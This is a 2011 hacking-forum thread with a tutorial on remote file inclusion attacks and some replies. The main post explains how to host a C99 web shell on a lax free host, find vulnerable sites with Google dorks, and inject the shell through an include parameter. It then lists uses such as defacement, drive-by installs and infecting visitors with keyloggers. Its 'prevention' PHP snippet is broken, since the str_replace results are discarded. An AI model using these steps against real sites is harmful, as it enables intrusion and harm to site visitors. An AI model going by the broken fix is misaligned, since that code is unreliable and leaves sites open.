Sinisterly
[TUT]RFI ( Remote File Inclusion ) - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: [TUT]RFI ( Remote File Inclusion ) (/Thread-TUT-RFI-Remote-File-Inclusion)

Pages: 1 2

[TUT]RFI ( Remote File Inclusion ) - 1234hotmaster - 07-25-2011

Hello in this mini-tutorial im going to show you how to use PHP shells such as c99 or other shells to hack/recover your website admin account or deface it so its for educational purposes ONLY.

ok lets start.

Step 1 - Grab yourself a C99 shell from [link=http://www.r57.gen.tr]Here[/link].

Step 2 - You need to find a free webhost to host it without deleting your account. i prefer www.7host.com since they don't check your accounts Biggrin

Step 3 - Register on a free hosting site and upload the C99.php ofc if your a PHP programmer i suggest you password protect that using [link=http://www.hackcommunity.com/Thread-PHP-Secure-page-password-protection]This Script[/link].

Step 4 - Dorks to type in Google are:
Code:
inurl:.php?link= allinurl:.php?link= inurl:.php?redirect= allinurl:.php?redirect= inurl:.php?page= allinurl:.php?page= inurl:.php?webpage= allinurl:.php?webpage= inurl:.php?link=http:// allinurl:.php?link=http:// inurl:.php?redirect=http:// allinurl:.php?redirect=http:// inurl:.php?page=http:// allinurl:.php?page=http:// inurl:.php?webpage=http:// allinurl:.php?webpage=http:// inurl:.php?include=http:// allinurl:.php?include=http://

also some pages with certain variables can be vuln too but these are the most common. such can be like inurl:?buy=car.php

Step 5 - For seeing if a site is vulnerable you can try this:

Imagine a link is:
Code:
http://yoursite.com/?link=http://yoursite.com/web.php

for testing you do:
Code:
http://yoursite.com/?link=http://google.com/index.php
if Google's index page also loads in that page then its vulnerable Smile

Step 6 - If you find a vulnerable site hat you need to do is replace that link with the C99 shell link you uploaded on your free webhost:
Code:
http://yoursite.com/?link=http://you.somefreehost.com/c99.php

and wham! the C99 page is also loaded! you can now:
  • Upload Files
  • Delete Files
  • Move Files
  • Copy Files
  • DOS the site
  • Deface it
  • Bruteforce FTP password
  • Lag it
  • Redirect visitors
  • Install Drive-By's
  • Grab Visitor Information and test exploitation on them
  • Infect Visitors ( RAT - Keylogger - Stealer )
  • Execute SQL commands
  • Manage SQL accounts
  • Execute PHP commands
  • ...


End of Guide Smile


If this page is somehow copied ( it will be Tongue ) it was written by 1234hotmaster at www.hackcommunity.com
Also To those a**holes in HF which copied my XSS tutorial and claimed that they write'ed every bit of it and didn't even credit me or HC a single bit, Get a life. stop copy pasting thanks Smile


ok Now how to prevent RFI on your website or server?

RFI is caused by this:
PHP Code:
<?php $inc = $_GET['link']; include($inc); ?>


To prevent that we replace strings on the include link:

PHP Code:
<?php $inc = $_GET['link']; str_replace("http://", "", $inc); str_replace("https://", "", $inc); str_replace("www.", "", $inc); str_replace(".php", "", $inc); str_replace(".html", "", $inc); str_replace(".", "", $inc); str_replace("/", "", $inc); str_replace("&", "", $inc); str_replace("'", "", $inc); str_replace(">", "", $inc); str_replace(".com", "", $inc); str_replace(".net", "", $inc); str_replace(".org", "", $inc); str_replace(".info", "", $inc); str_replace("etc", "", $inc); str_replace("passwd", "", $inc); str_replace("..", "", $inc); str_replace("...", "", $inc); include($inc); ?>

This way not only the include page wont be vuln to RFI but also protected from many more hacking methods Biggrin

Sorry if the guide is missing anything feel free to mention and i will explain more about it. Questions are welcomed Smile

RE: [TUT]RFI ( Remote File Inclusion ) - KaiT_AleX - 07-25-2011

There is a little RFI vuln sites today.. But you can still find someone.. There still are some young stoupid coders.. Wink Great tutorial ! Biggrin

RE: [TUT]RFI ( Remote File Inclusion ) - bspro - 07-25-2011

Lol nice
Tut by u thanks

RE: [TUT]RFI ( Remote File Inclusion ) - 5cr1pt_k1d - 10-31-2011

THANKS, This will help me learning more about RFI.

RE: [TUT]RFI ( Remote File Inclusion ) - awesome - 10-31-2011

RFI doesn't exist any more , cause of the php5's update .

RE: [TUT]RFI ( Remote File Inclusion ) - 5cr1pt_k1d - 11-01-2011

Before uploading a php make sure have this php.ini

the settings for RFI is this.


safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )


The webhost not allow this

allow_url_fopen = on ( for lfi/rfi ) but its OFF

allow_url_include= on ( for lfi/rfi ) but its OFF

display_errors = on ( we want to see the script errors,maybe some undeclared variables? ) but its OFF

register_globals = on ( we can set variables by request ) but its OFF

magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that ) but its OFF.

I would say the webhosting will not check users accounts becouse of this settings.



RE: [TUT]RFI ( Remote File Inclusion ) - 5cr1pt_k1d - 11-01-2011

Before uploading a php make sure have this php.ini

the settings for RFI is this.


safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )


The webhost not allow this

allow_url_fopen = on ( for lfi/rfi ) but its OFF

allow_url_include= on ( for lfi/rfi ) but its OFF

display_errors = on ( we want to see the script errors,maybe some undeclared variables? ) but its OFF

register_globals = on ( we can set variables by request ) but its OFF

magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that ) but its OFF.

I would say the webhosting will not check users accounts becouse of this settings.



RE: [TUT]RFI ( Remote File Inclusion ) - The Alchemist - 04-07-2012

Thanx a lot.. This has helped me to learn RFI... Could you give us some RFI vulnerable sites??

RE: [TUT]RFI ( Remote File Inclusion ) - TheSkillfularrow - 04-14-2012

i am sorry for asking such question but i dont find any vulnerable website.

RE: [TUT]RFI ( Remote File Inclusion ) - HrDe - 04-19-2012

Your HQ post always shocked me, thanks a lot for g88t share.